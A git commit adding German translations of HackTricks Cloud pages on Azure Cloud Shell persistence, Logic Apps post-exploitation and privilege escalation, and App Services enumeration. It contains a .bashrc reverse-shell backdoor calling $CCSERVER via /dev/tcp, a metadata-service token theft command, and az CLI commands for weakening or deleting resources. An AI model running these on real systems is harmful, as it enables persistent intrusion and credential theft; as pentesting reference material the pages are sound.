Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:18:26 +00:00
parent 6186b208d9
commit 612a41455d
12 changed files with 859 additions and 70 deletions

View File

@@ -0,0 +1,56 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Cloud Shell Persistence
Azure Cloud Shell bietet Befehlszeilenzugriff zur Verwaltung von Azure-Ressourcen mit persistentem Speicher und automatischer Authentifizierung. Angreifer können dies ausnutzen, indem sie Hintertüren im persistenten Home-Verzeichnis platzieren:
* **Persistenter Speicher**: Das Home-Verzeichnis von Azure Cloud Shell ist auf einem Azure-Dateifreigabe gemountet und bleibt auch nach dem Ende der Sitzung intakt.
* **Startskripte**: Dateien wie .bashrc werden automatisch zu Beginn jeder Sitzung ausgeführt, was eine persistente Ausführung beim Start der Cloud-Shell ermöglicht.
Beispiel-Hintertür in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Dieser Backdoor kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen.
Zusätzlich Abfragen des Azure-Metadatenservices für Instanzdetails und Tokens:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View File

@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Logic Apps Datenbank Post-Exploitation
Für weitere Informationen zu Logic Apps siehe:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Mit diesen Berechtigungen kannst du Logic App-Workflows ändern und deren Identitäten verwalten. Insbesondere kannst du systemzugewiesene und benutzerzugewiesene verwaltete Identitäten für Workflows zuweisen oder entfernen, was es der Logic App ermöglicht, sich zu authentifizieren und auf andere Azure-Ressourcen ohne explizite Anmeldeinformationen zuzugreifen.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Mit diesen Berechtigungen können Sie Logic Apps erstellen oder aktualisieren, die auf einem App Service Plan gehostet werden. Dazu gehört das Ändern von Einstellungen wie das Aktivieren oder Deaktivieren der HTTPS-Durchsetzung.
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Mit dieser Berechtigung können Sie eine Webanwendung starten, stoppen oder neu starten, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Diese Aktion stellt sicher, dass eine zuvor gestoppte Anwendung online gebracht wird und ihre Funktionalität wieder aufnimmt. Dies kann Arbeitsabläufe stören, unbeabsichtigte Operationen auslösen oder Ausfallzeiten verursachen, indem Logic Apps unerwartet gestartet, gestoppt oder neu gestartet werden.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Mit dieser Berechtigung können Sie Einstellungen für Webanwendungen konfigurieren oder ändern, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Dies ermöglicht Änderungen an Anwendungseinstellungen, Verbindungszeichenfolgen, Authentifizierungskonfigurationen und mehr.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskontenebene-Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Mit dieser Berechtigung können Sie Batchkonfigurationen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Batchkonfigurationen definieren, wie Logic Apps eingehende Nachrichten für die Batchverarbeitung verarbeiten und gruppieren.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Mit dieser Berechtigung können Sie Karten innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Karten werden verwendet, um Daten von einem Format in ein anderes zu transformieren, was eine nahtlose Integration zwischen verschiedenen Systemen und Anwendungen ermöglicht.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Mit dieser Berechtigung können Sie Partner in einem Azure Logic Apps-Integrationskonto erstellen oder ändern. Partner repräsentieren Entitäten oder Systeme, die an Geschäftsprozessen (B2B) teilnehmen.
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Mit dieser Berechtigung können Sie Sitzungen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Sitzungen werden in B2B-Workflows verwendet, um Nachrichten zu gruppieren und verwandte Transaktionen über einen definierten Zeitraum zu verfolgen.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
Mit diesen Berechtigungen können Sie Ressourcen im Zusammenhang mit Azure Logic Apps löschen.
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Logic Apps Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
Mit dieser Berechtigung kannst du Azure Logic Apps-Workflows erstellen oder aktualisieren. Workflows definieren automatisierte Prozesse und Integrationen zwischen verschiedenen Systemen und Diensten.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
Und nachdem Sie es geändert haben, können Sie es mit folgendem Befehl ausführen:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Mit diesen Berechtigungen können Sie Logic App-Workflows mit ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von Anwendungsdetails, den Zugriff auf Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von Anwendungs-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen.
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View File

@@ -17,9 +17,9 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service-
Apps haben einige interessante Konfigurationen:
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet erneut, wenn eine Anfrage eingeht.
- Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt.
- **SSH**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen über SSH eine Verbindung zur App herstellen.
- **SSH**: Wenn aktiviert, kann sich ein Benutzer mit ausreichenden Berechtigungen über SSH mit der App verbinden.
- **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert.
- **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis.
- Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert.
@@ -32,10 +32,10 @@ Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist e
Um auf die SCM- und FTP-Server zuzugreifen, sind ein **Benutzername und ein Passwort** erforderlich. Daher stellt Azure einige **APIs zur Verfügung, um die URLs** zu diesen Plattformen und die Anmeldeinformationen zu erhalten.
Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, eine Verbindung herzustellen und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, sich zu verbinden und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
Das SCM
Es ist möglich, sich über einen Webbrowser mit `https://<SMC-URL>/BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
Es ist möglich, sich über einen Webbrowser unter `https://<SMC-URL>/BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
### Kudu
@@ -61,7 +61,7 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm
- Die derzeit unterstützten Drittanbieterquellen sind **Github** und **Bitbucket**.
- Sie können die Authentifizierungstokens erhalten, indem Sie `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` ausführen.
- Azure wird standardmäßig eine **Github Action** einrichten, um den Code jedes Mal in den App Service bereitzustellen, wenn der Code aktualisiert wird.
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort abzurufen.
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort zu erhalten.
- Sie können die Anmeldeinformationen für das Remote-Repo erhalten, indem Sie `az webapp deployment source show --name <app-name> --resource-group <res-group>` oder `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` ausführen.
- Es ist auch möglich, ein **Azure Repository** zu verwenden.
- Es ist auch möglich, ein **lokales git repository** zu konfigurieren.
@@ -72,10 +72,10 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm
Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben.
Es gibt 2 Arten von Webjobs:
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob.
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, wird auch der Webjob gestoppt.
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen.
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten **zu eskalieren**.
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten zu **eskalieren**.
Darüber hinaus ist es immer interessant, die von den Webjobs generierten **Protokolle** zu überprüfen, da sie **sensible Informationen** enthalten könnten.
@@ -87,7 +87,7 @@ Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bes
## Azure Function Apps
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie in der Lage sein, **die Function Apps dort ebenfalls aufgelistet zu sehen**.
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps dort aufgelistet sehen**.
Daher haben beide Dienste tatsächlich größtenteils die **gleichen Konfigurationen, Funktionen und Optionen im az cli**, obwohl sie sie möglicherweise etwas anders konfigurieren (wie Standardwerte von appsettings oder die Verwendung eines Speicherkontos in den Function Apps).
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}

View File

@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell** ist ein interaktives, authentifiziertes, browserzugängliches Terminal, das für die Verwaltung von Azure-Ressourcen konzipiert ist und die Flexibilität bietet, entweder mit Bash oder PowerShell zu arbeiten. Es läuft auf einem temporären, pro Sitzung host, der nach 20 Minuten Inaktivität abläuft, während Dateien im $HOME-Verzeichnis mit einem 5-GB-Dateifreigabe gespeichert werden. Cloud Shell kann über mehrere Punkte aufgerufen werden, einschließlich des Azure-Portals, shell.azure.com, Azure CLI und PowerShell-Dokumentation, der Azure-Mobile-App und der Visual Studio Code Azure-Kontoerweiterung.
Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Privilegieneskalationstechniken. Auch gibt es keine Art der Enumeration.
### Hauptmerkmale
**Umgebung**: Azure Cloud Shell bietet eine sichere Umgebung, indem es auf Azure Linux läuft, Microsofts eigener Linux-Distribution, die für Cloud-Infrastruktur entwickelt wurde. Alle Pakete, die im Azure Linux-Repository enthalten sind, werden intern von Microsoft kompiliert, um sich gegen Angriffe auf die Lieferkette zu schützen.
**Vorinstallierte Tools**: Cloud Shell enthält eine umfassende Sammlung vorinstallierter Tools wie Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git und Texteditoren wie vim, nano und emacs. Diese Tools sind einsatzbereit. Um die installierten Pakete und Module aufzulisten, kannst du "Get-Module -ListAvailable", "tdnf list" und "pip3 list" verwenden.
**$HOME-Persistenz**: Wenn du Azure Cloud Shell zum ersten Mal startest, kannst du es mit oder ohne ein angehängtes Speicherkonto verwenden. Wenn du dich entscheidest, keinen Speicher anzuhängen, wird eine flüchtige Sitzung erstellt, in der Dateien gelöscht werden, wenn die Sitzung endet. Um Dateien über Sitzungen hinweg zu speichern, mounte ein Speicherkonto, das automatisch als **$HOME\clouddrive** angehängt wird, wobei dein **$HOME**-Verzeichnis als **.img**-Datei in Azure File Share gespeichert wird. Dateien außerhalb von $HOME und Maschinenzustände werden jedoch nicht gespeichert. Zum sicheren Speichern von Geheimnissen wie SSH-Schlüsseln verwende Azure Key Vault.
**Azure-Laufwerk (Azure:)**: PowerShell in Azure Cloud Shell umfasst das Azure-Laufwerk (Azure:), das eine einfache Navigation durch Azure-Ressourcen wie Compute, Network und Storage mit dateisystemähnlichen Befehlen ermöglicht. Wechsle zum Azure-Laufwerk mit cd Azure: und kehre mit cd ~ in dein Home-Verzeichnis zurück. Du kannst weiterhin Azure PowerShell-Cmdlets verwenden, um Ressourcen von jedem Laufwerk aus zu verwalten.
**Benutzerdefinierte Tool-Installation**: Benutzer, die Cloud Shell mit einem Speicherkonto konfigurieren, können zusätzliche Tools installieren, die keine Root-Berechtigungen erfordern. Diese Funktion ermöglicht eine weitere Anpassung der Cloud Shell-Umgebung, sodass Benutzer ihre Einrichtung an ihre spezifischen Bedürfnisse anpassen können.
## Referenzen
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
